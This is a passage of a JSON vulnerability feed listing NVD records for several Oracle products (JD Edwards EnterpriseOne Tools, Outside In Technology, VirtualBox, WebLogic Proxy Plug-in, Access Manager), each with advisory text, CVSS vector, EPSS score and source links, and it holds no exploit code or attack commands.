publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87309","cveId":"CVE-2026-87309","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.160Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87309","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00404,"percentile":0.34427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87309","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87309","type":"primary","publishedAt":"2026-10-20T22:20:08.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87308","cveId":"CVE-2026-87308","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:08.043Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87308","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00149,"percentile":0.0404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87308","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87308","type":"primary","publishedAt":"2026-10-20T22:20:08.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87307","cveId":"CVE-2026-87307","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.927Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87307","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.0038,"percentile":0.3169,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87307","type":"primary","publishedAt":"2026-10-20T22:20:07.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87306","cveId":"CVE-2026-87306","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.797Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87306","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00365,"percentile":0.30094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87306","type":"primary","publishedAt":"2026-10-20T22:20:07.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87305","cveId":"CVE-2026-87305","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SMTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SMTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.680Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87305","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00376,"percentile":0.31313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87305","type":"primary","publishedAt":"2026-10-20T22:20:07.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87304","cveId":"CVE-2026-87304","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.563Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87304","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00398,"percentile":0.33728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87304&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87304","type":"primary","publishedAt":"2026-10-20T22:20:07.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87304&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87304, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87301","cveId":"CVE-2026-87301","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).","summary":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H).","detail":"Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.207Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87301","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00147,"percentile":0.03874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87301","type":"primary","publishedAt":"2026-10-20T22:20:07.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87300","cveId":"CVE-2026-87300","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).","summary":"Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:07.087Z","updatedAt":"2026-10-21T18:44:19.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87300","asOf":"2026-10-21T18:44:19.627Z"},"epss":{"probability":0.00318,"percentile":0.24511,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87300","type":"primary","publishedAt":"2026-10-20T22:20:07.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87296","cveId":"CVE-2026-87296","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).","summary":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the 